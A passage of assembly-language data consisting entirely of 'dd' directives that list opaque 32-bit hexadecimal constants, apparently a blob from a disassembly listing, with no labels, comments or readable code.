dd 11388B3Ch, 0EA5EE42Ah, 0FDAA7400h, 0D3136D52h, 998F004Fh
dd 40A1DF0Dh, 3CE811ACh, 0C9EDFB12h, 8B6C0040h, 5A6462h
dd 0CCC25E76h, 5C6B984h, 43933A00h, 0D483B40Ah, 0C7B638CBh
dd 87BEFD00h, 15EFF47Fh, 717A8BFCh, 496E16C0h, 1D544Eh
dd 0C07336CFh, 0F769D476h, 8B149B07h, 44671AB3h, 7DF746Bh
dd 0C017E1D1h, 47165FA6h, 924F890Fh, 67CBA050h, 18C1D0h
dd 4030ED32h, 9F176842h, 0E5F22D1Fh, 51AB8C00h, 0AFBAE1h
dd 2647599Ah, 0A410F514h, 841BE900h, 388DB180h, 0BB4903E4h
dd 33C76055h, 0A3F09FD8h, 6826D00Eh, 0E45E0AD8h, 0F8FBDB00h
dd 4B34E51h, 3AD41A3Eh, 0C0909717h, 0E9EA67CAh, 0E65BDA00h
dd 7C84CB5Dh, 60D570A8h, 63687AFFh, 870E45D3h, 0E0B2BA55h
dd 0E1E6F61Eh, 7D3D0098h, 97EC9BA1h, 6B006730h, 5B28669Ah
dd 241BF132h, 134B43Dh, 0C701813Ch, 85799022h, 3F3BD000h
dd 19B955DAh, 0F3E66504h, 2087C9CEh, 394FA0BFh, 269BEC0h
dd 0ED5E8615h, 0DCA0EB01h, 0BB73AE4Bh, 0C20F120Ah, 4C00C029h
dd 90770B32h, 0C4FD001Eh, 0C108187Fh, 731F123Ah, 8540932Dh
dd 79CB15E8h, 8C2400A8h, 0A135060Eh, 8F3DD317h, 0C6017ED5h
dd 0A6266E7Ah, 94505B23h, 335E73h, 0CC7C65BCh, 0CF4AE206h
dd 8D18E70Eh, 89D2069h, 7671B6A6h, 77F5B0A2h, 0B0570067h
dd 4A6C2546h, 831F408Bh, 0F900E80Fh, 0E14F5B8Ch, 859703B9h
dd 7F774AF6h, 5C4E3BE0h, 83027400h, 0F0475AF8h, 0CD52007Eh
dd 3ECFDF6Bh, 0A2908757h, 68F9AD03h, 0FD389EA9h, 59F835C0h
dd 0C0DD071Dh, 2025F440h, 86B94ABBh, 508FB300h, 0D4A1AA05h
dd 576226A0h, 91F18794h, 0DDD9D0C9h, 0ED00035Dh, 166E9D11h
dd 0B0FE31h, 3DBFD63Ch, 3EF85888h, 0C9227007h, 0D4D0F3FDh
dd 4C4A60ADh, 0B40041F0h, 774B80D1h, 0C300365Dh, 840D68CDh
dd 0E8338D0Ah, 9AE001Dh, 7E49FA21h, 0D9002366h, 0D240C729h
dd 18CEE23Ah, 809CF068h, 0AE018D81h, 0D80C6B50h, 3DFC5E40h
dd 9BF600CCh, 0B4788AC0h, 0DC00E1ECh, 3F38536Dh, 92AD67F1h
dd 9A78FCh, 17030971h, 0AA241F02h, 0ACBBBA00h, 0A44FDC8h
dd 0FB110034h, 8FA9366Eh, 8A393013h, 8D9C001Eh, 0C147BAC0h
dd 27400028h, 3ED95486h, 6D009E50h, 0E737A98Fh, 48B7678h
dd 326E04EAh, 6558D72Fh, 1F90203Fh, 0AD00D9E3h, 0AF0BD38Ch
dd 5B2425h, 3F5C2841h, 60B01C6Bh, 1F2C593Fh, 0B580406Eh
dd 0ACC3AD49h, 0FBA200C9h, 0FB2212Ah, 0C7508F0Ah, 0B600F1AFh
dd 0F503555Bh, 5018A211h, 795ECE1h, 0FC074ADDh, 5ECFF035h
dd 113DA22h, 7A004761h, 0EF3C4FDEh, 0A52900D6h, 41E89ADFh
dd 0A2EE755Fh, 3AC83513h, 1B87EA00h, 3B5684Fh, 1D8D2616h
dd 98C82CF0h, 0A50CACBCh, 1C8012D0h, 0B404008Ah, 0AF46BA20h
dd 300B5C4h, 12FADD48h, 0A1F789h, 65A78A7h, 5F2A0B28h
dd 0F8B3C328h, 30655200h, 25D4EBB4h, 0BA5C0039h, 8A43DE48h
dd 2700985Fh, 0E47D210Eh, 1A25FAh, 0C370072Ah, 0DBF7CA9Fh
dd 0A300CC78h, 0D0722475h, 9BD34Eh, 2367FB57h, 3F74939Fh
dd 7C29700h, 7ED9879Ah, 6FCA3CE9h, 1A85D80h, 0C02A62F7h
dd 67B35C00h, 173E7365h, 0CB5B3A99h, 72B3A00h, 0AA6F449Eh
dd 39A29F00h, 0C34C64EAh, 0F7AF016Bh, 7197CED1h, 0A040EE51h
dd 9000024Ah, 2B143D8Bh, 263FB90Bh, 5D81A9h, 38DFF727h
dd 6B007D80h, 0E7F90165h, 1D759DE0h, 0C1174F69h, 0EA72D7D0h
dd 0A55E3095h, 0E9CB2B05h, 5CD09B75h, 0E1E05Ch, 0A036CDF4h
dd 7CEFF06Fh, 80C729F0h
dd 39F506Dh, 0F62AF85h, 2CEF6010h, 79891A41h, 10FC40A6h
dd 5B3B05B9h, 5C24806Fh, 0BBDBC96Bh, 0BDF400A8h, 3DB49731h
dd 0A37CCFC4h, 2DE81303h, 80A11CEDh, 0C36F6h, 0B8A48F8Ah
dd 0EC7D7207h, 0F8C89018h, 30EED3A0h, 0C08877A0h, 7B242B22h
dd 0C981C4DBh, 0C37929A5h, 0D42F0840h, 1C0BD4Fh, 2705A05Eh
dd 3849AFD3h, 0FD9A820h, 187379C0h, 587088F0h, 2E086E72h
dd 27F502E3h, 4E074E7Ch, 47F1C53Fh, 0BCF8F7FCh, 0C6EEE7h
dd 2342F4BAh, 0B36DBE33h, 0A7887A00h, 31C34D62h, 0EC27796h
dd 7892162Fh, 42A6B00h, 36001CD6h, 72E7706Fh, 0C1E59Dh
dd 0FF6503EFh, 88D5C698h, 8EA84F00h, 0E3F73F1h, 0D6400B92h
dd 0EB806436h, 5EFE7C03h, 9ED7603Fh, 0FD809B50h, 77448DB9h
dd 3FC1C96h, 7B93404Ch, 0BF3E2C54h, 6B56A201h, 1CF93CACh
dd 7E274ECh, 0C757CD4h, 63EB8024h, 3F1DA0B4h, 70400252h
dd 0FAA61C64h, 30D83AC8h, 0A20539BAh, 80EA5896h, 0B2E6CD66h
dd 1175620Bh, 0FC5C205Ah, 31A0646h, 0F49F96D3h, 8338EDBh
dd 0D80F215Fh, 1F74FD06h, 0BA2DD7h, 0DF6DC231h, 6A01C435h
dd 0AA5DCB4Eh, 92F03207h, 0FB9E155Ch, 583AC4F7h, 6E8D2080h
dd 75C0EEC8h, 7E041048h, 1FB121C0h, 23F421h, 41C962A1h
dd 0E6B636D0h, 2DCD8D00h, 944D6AC6h, 7E30C119h, 22AC1DF9h
dd 1BA40718h, 7DE04391h, 66494FF0h, 21B008B5h, 91247F07h
dd 4E24DA7Ah, 0DDD32090h, 585560EDh, 636B71FFh, 0F89170D8h
dd 1AE10FAEh, 158F7DDAh, 116C54AAh, 20F6809Dh, 8CC06E8Ah
dd 0A65D44h, 4005211Eh, 8EB015DCh, 302DD35Ch, 0E1E778C5h
dd 65EB40DBh, 0B1C1C2ECh, 61104241h, 28D4ACF2h, 0D1E940ABh
dd 4FB2203h, 90E37EA5h, 76223E2h, 0EE80ECA2h, 0D53730D4h
dd 10E22AAh, 60358307h, 0AF591456h, 67960004h, 0BFC40C4Ch
dd 8006D58h, 97F36E28h, 4163918h, 4DE6115h, 3B440EFh, 0E843B3A9h
dd 0C5E1039Fh, 0E08A69EDh, 8B00A673h, 0F3D0F979h, 3F944716h
dd 0D100E334h, 31CD69FCh, 4B03C25Dh, 3595710Ch, 0E06CEB8h
dd 5F0A308Dh, 381B6640h, 1A002063h, 0C910FE51h, 0CE7164h
dd 4431AB75h, 30A5C8DFh, 63363Eh, 2A5A1D5Eh, 0BE7EBh, 4B988C52h
dd 0B8062C9Fh, 8135FFA1h, 0E0E53E58h, 38BC02F5h, 42EF1380h
dd 21E6CF66h, 492C481Fh, 6BF28B86h, 0FE5A7C18h, 7D7268h
dd 0D88FDFBBh, 0C165EFBAh, 231FE3B8h, 0DC0F486h, 30916C6Bh
dd 81CE32F9h, 4959C11h, 666AC786h, 1C80FE10h, 9D4326BFh
dd 4CB4809Eh, 0E613E17Dh, 49410103h, 0F9B8CEF3h, 0C0DF3B0Eh
dd 0EC6585h, 309936CBh, 0F8D21644h, 98322700h, 33DAA59Ch
dd 0EFC3009Dh, 3F8F58D7h, 0AA00C26Ch, 7A8BFEC1h, 5C705Eh
dd 8668E5A7h, 291D6A4Eh, 0C903E00h, 8FAF2D0Dh, 7BB758Dh
dd 59EFB5F6h, 0C535301Fh, 4706A651h, 19AEA024h, 386D05A9h
dd 80D2EF59h, 8E46C6BAh, 4FECEE00h, 3568E79Bh, 317300B3h
dd 7EF50EADh, 0C5A006B1h, 3007E096h, 1DD8334Ah, 0BB306B47h
dd 0F0495Eh, 9AD2BA3Bh, 9EAEC913h, 53FC0900h, 0F220E18Dh
dd 191ECEDh, 786AC3BAh, 0CC9357E4h, 7A1DB14Ch, 0C4CF2D14h
dd 9946E1B4h, 0D8DB3E36h, 5948144h, 6B9219AFh, 834080F5h
dd 0D67A460Bh, 53EE4000h, 4F63B955h, 724A1FC1h, 530C086h
dd 20FF221h, 4857DCA9h, 0F40077A8h, 0BA54BD47h, 1A9CF840h
dd 0A8DCC1FDh, 0F5E28300h, 0B0002826h, 9D9E300Ch, 0D6F67Dh
dd 953B1E0Fh, 330B7AF0h, 4C26FC01h, 3C1DF307h, 14505921h
dd 2D4A971Ch, 207E3A76h, 0AC27C800h, 396A67B8h, 5F0015E4h
dd 22EE5C53h, 0E00A31Ch, 3A16A48Ch, 3E4018F7h, 530081ACh
dd 0BC45DE07h, 6B016D54h, 16ABC03Ch, 7DC865FBh, 4688069Ah
dd 0F0B34BDAh, 0C8037707h, 11A3EC0Fh, 2A380047h, 0CEFB62BFh
dd 4A00926Ch, 397AEB51h, 0FEFA7F2Bh, 0AE5200A7h, 9DB100Ch
dd 0A30E3518h, 401319E3h, 20712D84h, 0BE0F009Dh, 18A0B5EAh
dd 2B3D67A7h, 0CA6C0008h, 0E3EE0655h, 379400C4h, 2EF7466Eh
dd 49B835BBh, 14643100h, 7C3F53Ch, 637C24h, 556BD88Eh
dd 0A351412Ah, 0D03A3E2Ah, 408F2700h, 15A7DED1h, 0DD671E54h
dd 2D0E43BFh, 58C0C82Eh, 0E8004C13h, 6DB099DAh, 591AD3h
dd 3A83E58Fh, 0F26A9F8Ah, 9087B300h, 1DA1582Fh, 2C78023Bh
dd 0CE6D7B2Eh, 6E4A48Ah, 767AE9CCh, 4773591Eh, 0D4012440h
dd 0CD5D1h, 0BE21F1DFh, 875DCA54h, 1160AB00h, 9C104A8Dh
dd 97F69Ah, 0ED1B3372h, 933021D4h, 694E5100h, 0AC888B7Ah
dd 765D12BBh, 0EA2009ADh, 0CBDCAC00h, 20EDB4ABh, 0C400053Ch
dd 0BFEF6C4Bh, 1DCE5699h, 589343h, 6847ADDAh, 0E17964FDh
dd 80F2B200h, 19855F74h, 0DD251E9Fh, 406D936Bh, 4F69348h
dd 98001A64h, 1840E18Bh, 0A86A03h, 9BE68782h, 0F15A4829h
dd 0A37AD400h, 40A7FA96h, 95F900EFh, 6CB44960h, 3D617BC4h
dd 0CC11D9C8h, 79129440h, 0F1DE1D3Fh, 0ED05402Fh, 9ACB1B49h
dd 63FE060Ch, 76C330CFh, 0E10100ECh, 27910EB6h, 1A1F52C4h
dd 22816FA5h, 143C7737h, 0D6A0DC47h, 6D9092h, 0F2E68E0Fh
dd 63372EBEh, 0A86F90C0h, 0A23C8Ch, 7C87DA66h, 68559D0Fh
dd 998F8800h, 0E9D289EBh, 49FE1C4Bh, 0D8B3406Bh, 3A310EABh
dd 5995D400h, 0D2EBAE2Fh, 0A5FE3FDFh, 0C8472095h, 0DA31F201h
dd 207949C9h, 2A00297Eh, 5BDBF324h, 0EA551EAFh, 68920442h
dd 808E1944h, 7CEAD420h, 2E656B00h, 49D86A1Bh, 0B9DE1C18h
dd 61114168h, 203EBCFEh, 380009A8h, 0EF191631h, 506EAAC8h
dd 1F8AD07Fh, 4312638Fh, 0B857F8CBh, 0CE3135B0h, 39624709h
dd 0E4F4002Ah, 0F45F294h, 0E7976E2Ch, 99677C00h, 0AA2CF151h
dd 0CA2C798Bh, 876B3300h, 1522B186h, 0B4214E95h, 8BBA1300h
dd 0E9667526h, 0A460F4E2h, 0E8561718h, 2927634Bh, 51C8641Dh
dd 0B500F197h, 0D78495C0h, 0CFBC34h, 98792780h, 0D1B192B6h
dd 94E92C28h, 9A08B204h, 0D4904695h, 1C7DFFCh, 58328166h
dd 21ACDCC2h, 4B78D474h, 9CE6AD26h, 47950139h, 0AFAAF918h
dd 0C0B2109Eh, 0D1579C08h, 2F0EFDCEh, 20C68C02h, 7C96FE36h
dd 8B600D8h, 9524C714h, 0E000F85Ch, 925946C5h, 9ABE2387h
dd 0F6402EB0h, 0C0FE1C71h, 9099FF71h, 1900E4BBh, 0B2690EB4h
dd 1DE5AAF3h, 15F9825h, 7AA459FFh, 0BE49E4A2h, 0BAD88160h
dd 3D9C7Bh, 94FDDFB3h, 970AE091h, 25015B7Dh, 351455FEh
dd 5FE03D90h, 616C0083h, 0C431793Ah, 954CA7F7h, 2CF3F70h
dd 41FBE368h, 0F144E04Ch, 7BB200B4h, 52978EFEh, 0CF05B0D5h
dd 0FD589D24h, 7BF5C01h, 343090ABh, 4A0A0073h, 0BAF9EC20h
dd 0FF01374Ch, 0B3986E40h, 89C86D8Ah, 18C4002Ah, 8C9796E0h
dd 0E600222Eh, 7CA178B1h, 1F41FA0h, 0CED68716h, 0F4F74352h
dd 92038FCFh, 95CC6CFDh, 25F6E8AAh, 0AE5F002Bh, 3BD870B1h
dd 0A001D39Fh, 7EC21253h, 0B4C4BD7Ah, 16AA004Ah, 9E87F45Dh
dd 23F299E2h, 4BB85600h, 881FD0CDh, 0E1CB0743h, 30DCE05Bh
dd 4E47AA7Fh, 2D972B00h, 66FC1E4Bh, 93ED0035h, 867D025Fh
dd 4E021FCFh, 4C65D6DBh, 73BCE445h, 0E97707C6h, 901E9D7Eh
dd 50AD1CF8h, 0D30354B1h, 0C807A623h, 0C06D1113h, 0A7EF8E14h
dd 6F701C68h, 0E8859400h, 0F0FFFA9Bh, 0F5920437h, 9065D79Dh
dd 461D0A18h, 81A3013Ch, 7FC932EFh, 0C8C6A673h, 1847613Ch
dd 115DB875h, 8C3C4699h, 8548D9h, 40C91A7h, 0E8C97Ah, 0D05985AFh
dd 278C65DFh, 92138100h, 9548555Eh, 8A76CDCFh, 0D4D02518h
dd 8914C935h, 548C2ECh, 3ECF7610h, 0D9F51420h, 0A0634C5Bh
dd 9D2C2100h, 5EB062A4h, 237D7100h, 54F75270h, 0CC400DCh
dd 4731A50Ah, 0E5006DD6h, 0FADB89D9h, 764341h, 9BDF2C85h
dd 4CB86CD1h, 9C690605h, 0C8045073h, 74A79122h, 8B2B94C0h
dd 555989ADh, 30D00334h, 0C099055Dh, 171E8C3Eh, 0EF8D6Eh
dd 0E811F34Dh, 6A6168B8h, 42B99C20h, 8148DECFh, 0AC506993h
dd 18276E6h, 58CD9B56h, 0C8976DADh, 8000D99Dh, 92DE0143h
dd 29B53CCh, 0BD56506Ah, 209C63D8h, 988C67ECh, 2A863077h
dd 136B7020h, 0D9673530h, 1C19A4Bh, 6097D2B2h, 982FEA69h
dd 0A6214208h, 0F8C10070h, 5FEBE98Fh, 0DE080299h, 396BE6FCh
dd 0B2110382h, 843CB4Ch, 4061ACE1h, 0A9D5C80h, 9DAC0E7h
dd 95A4A8C3h, 2458006Ah, 18035691h, 1E004C1Ch, 6D732B23h
dd 93FD13h, 0FB9B8574h, 0C1EABB4Eh, 816E6F01h, 2F5E298Fh
dd 6B71BC50h, 264A43Ah, 0D2AFC147h, 401965FFh, 9D953181h
dd 0DBF2BCC1h, 7FAC77F8h, 0EB603770h, 2CB56B21h, 0C853605Ah
dd 0CD2BFC52h, 28501D03h, 1889E8AEh, 3183F3F1h, 20009701h
dd 3EB41452h, 12F8269Dh, 50D5F09Bh, 8000B7E0h, 1A8674DBh
dd 3C02548Ch, 2D6AC94h, 32284811h, 4381C053h, 0F7A23E7h
dd 9DFC9303h, 0E04BAB77h, 9282F384h, 0B07C0040h, 21274828h
dd 0FF778147h, 215008CCh, 0E4C87945h, 0D2740472h, 8360E4B8h
dd 0AAB9333Ch, 0C004029Bh, 490A889h, 2A1AEAA3h, 932C80B2h
dd 94123A8Bh, 1806470Ch, 18C9AAh, 36CC7389h, 0AF6C4588h
dd 4A3D5C1Fh, 3E9A5740h, 1C6FEAC5h, 53FD6160h, 9F1C03FFh
dd 0E10068A4h, 3E1A8CEDh, 19CFDF92h, 8A78A85h, 58042499h
dd 881A841Ch, 2820D312h, 41FEB427h, 9D509139h, 381A8280h
dd 608C8F92h, 9ACA210Bh, 0E402E81Ah, 0C2C1560Ch, 0CE4C4849h
dd 0EA884030h, 0E917090Ch, 20BE18B0h, 28037CFCh, 2E1690D1h
dd 5610067Eh, 40339609h, 0AE649301h, 0C9974A04h, 905CBBE0h
dd 0C4B200B2h, 6DB51277h, 7E7BEE02h, 0B324E005h, 0E008CC59h
dd 0D994CF85h, 0E0B92714h, 0E5CB6AE1h, 48382110h, 111F756Ch
dd 14FA6E88h, 3EE85A80h, 2C9A294Eh, 4628C201h, 7918D127h
dd 0F2BA3F88h, 108800D8h, 0FC64F237h, 9A00BD8Ah, 2C1E23FDh
dd 0E259E9E6h, 545B119Bh, 3A9D009Eh, 8372675Dh, 39261FE6h
dd 90EEC096h, 6E382B8Dh, 7B0ED777h, 3D292A5h, 0D841F579h
dd 924E3211h, 76C6006Ch, 55A24260h, 45054A71h, 85D3E0BAh
dd 60A7D082h, 0A80ED45Fh, 7A92F5B4h, 14BC0C2Ch, 7F511902h
dd 1AC591C7h, 84D4DD14h, 30D29041h, 2889F079h, 0D89182ADh
dd 0FCFDC0D0h, 206D982Eh, 30140C22h, 48A40B89h, 0B6EE11ACh
dd 0F405D70Ch, 97493529h, 0D6800048h, 210CC290h, 455A3D52h
dd 0D764BE00h, 8130734Ah, 6E6138h, 94227F24h, 906950E6h
dd 0D32C0820h, 0B893406h, 3E9D8125h, 718A563Dh, 83F45A04h
dd 6024CE92h, 34AF3824h, 6579CA62h, 613FE474h, 0D0C782CEh
dd 88F1B79h, 81F09F91h, 30D90C80h, 59AE1646h, 0D09F6490h
dd 0C240003h, 0B7E02B7Ch, 0E37FE025h, 9BD6C20h, 0A480E83Eh
dd 1BCF6090h, 372A9100h, 0EB33F5A8h, 487158AEh, 0ACD46614h
dd 605C6B24h, 0F1E89A29h, 0A098F04h, 3C8D2B86h, 8C164C30h
dd 0C3C17304h, 96629FD2h, 89A9CCA0h, 0DE0C56C1h, 900CACF3h
dd 6E0100FCh, 33EBFDBFh, 0DCF84042h, 1518CD4Ch, 24CCC216h
dd 9C046C47h, 1CC804D6h, 84505435h, 813200CEh, 0FA621833h
dd 96191CD6h, 0D2991ADh, 68254F8h, 3558D2C9h, 2B0CD811h
dd 0F0B49E8Eh, 0D67900E9h, 0CF44C9A6h, 8B1F3B9h, 64A49202h
dd 0D4FB83F4h, 0D7248808h, 3BFF01BFh, 0CD02327Ah, 4E5820FDh
dd 54736900h, 8DCCEC23h, 2C4418C2h, 33E478EEh, 52AD3A02h
dd 40F25012h, 31EB9D7Ch, 2080CF8Ah, 97D5CC5Ch, 0FCD12604h
dd 0F444B1E5h, 78A4908Fh, 50F4CBEBh, 808DF339h, 0E3A2B504h
dd 1ACF26E9h, 58E6F530h, 8E1E6881h, 9CA30060h, 0DBF330AFh
dd 4C3BCC51h, 12068A7Dh, 42ED67C9h, 21B26008h, 34C169Ah
dd 8EA67F0Eh, 68C801ACh, 603047ECh, 0C4048CD8h, 0C1277428h
dd 411E8CCEh, 270842BCh, 689E16h, 795AAEE9h, 883A2C12h
dd 0AD075323h, 8C2B921Eh, 243CE08Eh, 83BC62D3h, 61CF94D7h
dd 0AD8C3009h, 0C000127Fh, 3CBFD9E8h, 26706F49h, 945043E7h
dd 0D30030F5h, 0E2BAB27h, 0B7002973h, 3D2ABDBBh, 1EAE7CDh
dd 5341FAB9h, 40F77D5Ah, 33D801F8h, 0CE18047Dh, 5480CB3Ch
dd 0B24B01B7h, 9801D687h, 0DC06076Ah, 246B0089h, 8D6754C6h
dd 0A2F029F0h, 0D0ACBAF8h, 834C3804h, 0B3626A54h, 4C0F2D20h
dd 0CDC500ECh, 55FECB22h, 1500EA25h, 745A19CEh, 4C167629h
dd 2E77582Ch, 4F07302h, 8EF76C4Bh, 0C5B3C808h, 43E5C087h
dd 0FB061C44h, 0A82ED348h, 77D82858h, 90405C4h, 0D2B1D649h
dd 85309E00h, 921F111Ah, 90968AB7h, 0B2205B98h, 2ED215C1h
dd 10929884h, 8C0CB4C0h, 0DE31FBA4h, 7E1C4D1Dh, 0A71D6440h
dd 0B3EC1Fh, 0E6FB88D9h, 2D77843h, 89C49303h, 0E86386AEh
dd 2D83276h, 0B24A6F94h, 94826B74h, 4C41DC0Eh, 1029F2h
dd 9DF871Eh, 0B406245h, 0E4A3804Ch, 14619402h, 18981858h
dd 4A86754h, 0A1CED912h, 2BFF4000h, 582780h, 6E3B674Fh
dd 0E62AB085h, 7E95C313h, 0C0159848h, 0D2ACC148h, 98650721h
dd 9E942145h, 0AC06C101h, 53582D48h, 308E87F4h, 0CFB8D9E2h
dd 92F02C1Dh, 30A5D67Eh, 0AA6042E4h, 0F3079666h, 5125529Dh
dd 604738B2h, 68BDA84h, 39A28E29h, 30147056h, 28462ADh
dd 3A25101Fh, 46346487h, 4C767DBCh, 0DE31D2FBh, 4C119B10h
dd 0A5C5D417h, 86EAE004h, 0B485F504h, 0F8A0FDDCh, 0FCA8EEC7h
dd 60053DFh, 6EAAFC89h, 967FB3Ch, 6B2710CBh, 9C521E80h
dd 611BDE8Dh, 0A47103F9h, 556B8081h, 298E1180h, 0FCD48448h
dd 0DC3E7624h, 90250F09h, 0D352F698h, 0E2CA0081h, 0EE495B28h
dd 7A00B7E4h, 2A6AE190h, 0EC397B3h, 0D1283FCBh, 988A6BE4h
dd 1A088978h, 0C4D7923Bh, 81BF40FEh, 791B1Ah, 4CDF2878h
dd 5FB6198Ch, 7898E8B0h, 0D7F03090h, 48702359h, 8CD9EC14h
dd 297BDA00h, 8017F510h, 1F3F820h, 0AD50B351h, 803EE8AEh
dd 0A0EC7561h, 1D26C9A7h, 7B785EB4h, 0C5F69384h, 0D4B4A083h
dd 48C925Dh, 812CCE59h, 0E3DEFC90h, 622FF8D3h, 6A95C026h
dd 0B7EAD4E4h, 0CA85188h, 5F961E8Bh, 0F03E6D38h, 298A8201h
dd 0A0CA244Dh, 0E20955FCh, 8D68C051h, 960CFBBEh, 0C19280C1h
dd 0C6CC5A83h, 4120DF4Ah, 0BC51DEB7h, 11204E23h, 0F3850BDCh
dd 83CD0A8h, 9F03FA72h, 0D467D1Eh, 0B82C8366h, 28CEF21Fh
dd 4C708604h, 2BC68B3h, 29006B43h, 20ABA056h, 1025D088h
dd 0F0600CE4h, 5DE816CFh, 4E4809C5h, 7BC418C5h, 73BAA60h
dd 15689B01h, 7B16A3BBh, 47EEAD0h, 0E8D25847h, 4ED492D1h
dd 78716859h, 4800C918h, 834B239Bh, 935FADFh, 3E1E1AC3h
dd 19A20487h, 4262E8C7h, 195B186Ch, 0A84A1101h, 0BED95493h
dd 8C00443Ch, 1AC539F0h, 564B6C5Ah, 51711822h, 6D3F7034h
dd 3FD7286h, 82F484CCh, 8194CBB8h, 72F1B550h, 0E13A10C0h
dd 5064702Bh
dd 0F9008BC8h, 8D74AA7Dh, 7DA33EFFh, 50EAF66Dh, 8C112CCEh
dd 0C0C17405h, 5C28A7D2h, 0C18A00A8h, 766E5363h, 0D80399FEh
dd 58D02A15h, 0E8038D01h, 44DE8ADh, 810D231h, 0C718C2FAh
dd 0A30090C4h, 0DBCBCAF0h, 0ECDF9ABCh, 55D40040h, 0FC7CE0C1h
dd 0E0A06C94h, 1C24C510h, 30407488h, 0EEBA36h, 60819BD6h
dd 0BBF5CDD7h, 2B9138h, 5038404Bh, 8BAB4Eh, 0C054C5F0h
dd 258DCD1h, 0BF377700h, 52CFCCC9h, 0FDDA009Dh, 0B74216D2h
dd 5C038485h, 0CB194749h, 0AC34A06Dh, 0B90100F2h, 2D23DA64h
dd 0CA7C84F0h, 8001A2F4h, 0FE553981h, 0DA2C35A6h, 9E87EE00h
dd 0FE28D5Ch, 0C1A53F00h, 227C2354h, 0D2B00048h, 478569E9h
dd 3000C537h, 41AFF5B1h, 89C080h, 28C3A7Ch, 9B090534h
dd 536E2C0Fh, 0EC1B005Eh, 1A84581h, 0EF104868h, 0E0D461B9h
dd 0AE1F1F42h, 0D7006DD2h, 34A9F9D1h, 89055h, 63566E2Dh
dd 95990546h, 0C55050C0h, 0F554589h, 40371661h, 9CB57900h
dd 0EF3C12B9h, 4891032Ch, 0C0B42FAAh, 393534F6h, 40E0E105h
dd 0A2A76F8Eh, 0AF3EED06h, 0D91F0Fh, 0EAF9C836h, 3B245E07h
dd 86F0E00h, 0FB7FE86Ah, 0B83A5AAFh, 5DAA00C2h, 0C54AEA97h
dd 6C6E697Dh, 38E70783h, 0B701C97Ch, 28B86C7Eh, 618F2321h
dd 3607ACBh, 0F10FC4EDh, 77936B1Eh, 9D978F40h, 1868D663h
dd 316D59C8h, 32005F74h, 0A66544F3h, 47B1A2h, 6A8A22D9h
dd 7260BC8Ch, 1FABDB02h, 0C02E2946h, 1485C1h, 0D049B69Dh
dd 16BBB967h, 0CDFBE31Dh, 6DA1BC40h, 7471C41Ah, 0B60E306Fh
dd 0CE83D920h, 0A28B1000h, 0CFC4BD26h, 0D1E513ACh, 19A900ECh
dd 82CAA77h, 0C81C31C6h, 3B431E08h, 48958099h, 401DA278h
dd 8FCDB500h, 2B1FADC6h, 0EC6800ACh, 94D1FD65h, 0A0DFDB9Ch
dd 10400E5Bh, 0C0CF42A8h, 0A136CE02h, 3C808C99h, 0CE018AFAh
dd 10F13E4Ah, 99ED43D2h, 854088B1h, 4D298007h, 0F1258895h
dd 0F9F00E7h, 4C1DA63Eh, 700172Bh, 28BE83E1h, 7574669h
dd 0A7151B14h, 0B94D1339h, 0B7DE4280h, 40589903h, 1AB37Bh
dd 6ACDF661h, 51C8E645h, 0F72D9019h, 21B81708h, 5DCED202h
dd 2DC157DBh, 0AACBCC07h, 801A833Dh, 0A7331477h, 3A42182Dh
dd 7860CD37h, 28026F26h, 52693100h, 0FF2CB8F8h, 34951EFAh
dd 0CEA9805Ah, 1771FD60h, 0A6224F00h, 7BA1F006h, 0D25A0185h
dd 0C44D8E2h, 4F2AF4BEh, 41DA2E00h, 0D7C5AF0Fh, 0C7641DEAh
dd 0AA894028h, 0E56E8DB6h, 2223AD01h, 997A3991h, 7357C2D4h
dd 936C1F0Bh, 40F95DD4h, 5C908552h, 5E001CABh, 0B244725Ah
dd 3CDF91h, 82CCE381h, 0A4C4DE6h, 93ABB800h, 0F1661DB6h
dd 0A25F00F5h, 0FE87CDC5h, 9000168h, 4DF3605Dh, 847E47h
dd 31E8E2C4h, 0B39BA78Fh, 91B60400h, 646D87DCh, 219900C5h
dd 206C5283h, 1300D7ACh, 4C461259h, 2FA415h, 0DE582AD9h
dd 0F049D860h, 0BAB8EF00h, 374B437Bh, 0B693E4Ah, 0D1DBEA00h
dd 2345FD1Fh, 0C9293Eh, 57983759h, 73A1941h, 0CE36E6ABh
dd 0A62AAFC8h, 697900EAh, 141ABF78h, 7EAEB700h, 148C8DFh
dd 0A27B0E43h, 4A406061h, 0F20FBE5Eh, 69573E00h, 7044B1CEh
dd 0CFD90056h, 404D0137h, 53F86E80h, 39D3F4Ch, 0B4A82A61h
dd 0A0F5E0E0h, 0AD260033h, 0FC8489C8h, 4F00E6ACh, 8C68FFB8h
dd 0CC5D58h, 0BFB71726h, 0DB3E31F6h, 0B8BA1018h, 797F10h
dd 59C6B4Ch, 0E4F0428Fh, 57258000h, 0C2F609A2h, 66F40079h
dd 6A9C4988h, 0A01EFADh, 566F3168h, 8CD427F5h, 3E6E00C7h
dd 0ADD473B5h, 7900DD30h, 0B419AF4Dh, 4F1A54h, 2E9872F9h
dd 8EE774BFh, 0BA7C8401h, 0B2046524h, 0DBA940E2h, 0D0165538h
dd 1E5EFF4h, 0A8FF17Fh, 0F428B6BBh, 64711809h, 3DA3AC00h
dd 0B2C48988h, 745F6B7h, 975975F3h, 9E675ED8h, 20B980B1h
dd 0F0007CB4h, 0EE9F82C2h, 0F0F944ADh, 2CBA039Ch, 600E216Bh
dd 7711C3B0h, 8C331609h, 0A08B6322h, 90A9CFh, 7251E239h
dd 0A1190630h, 3BF2BE38h, 77848010h, 71EB8F4Ah, 99E14C94h
dd 2EBDC301h, 0E84047F5h, 5550A14Dh, 40977ECh, 5FBA8Dh
dd 71924859h, 845B00D1h, 270BC5B3h, 0E71E281Bh, 70C1DE02h
dd 75426C9Fh, 8B98CCh, 0C15A9B25h, 3660BD0Fh, 0D6D020C0h
dd 3FBCD1h, 99A25E56h, 0A4B27385h, 0EEFB1B03h, 0D0136569h
dd 87A64Dh, 63AD786h, 0A9625B93h, 3F25F000h, 0DD0A65DEh
dd 680C00B9h, 49D344ABh, 940081CFh, 48FC3BBBh, 0A5C454h
dd 0F8264143h, 8F1EB50Dh, 1AD41550h, 9ECF3100h, 2CC2AEA9h
dd 6E6F00E5h, 0C9F02194h, 0D41EDBBAh, 5F1D8AC6h, 271A9C00h
dd 952BA9h, 42EEC7Ch, 198EF244h, 0C309EE01h, 18E1A8A2h
dd 0E0B69943h, 14239931h, 0FC63FD55h, 0D8B7C100h, 0B550D720h
dd 9278C200h, 0EDD6F67Bh, 0DED105A8h, 0C038849Fh, 0EB341E0Fh
dd 23D0C400h, 0EE1A39F4h, 196500E2h, 0B383765Dh, 7327F7E1h
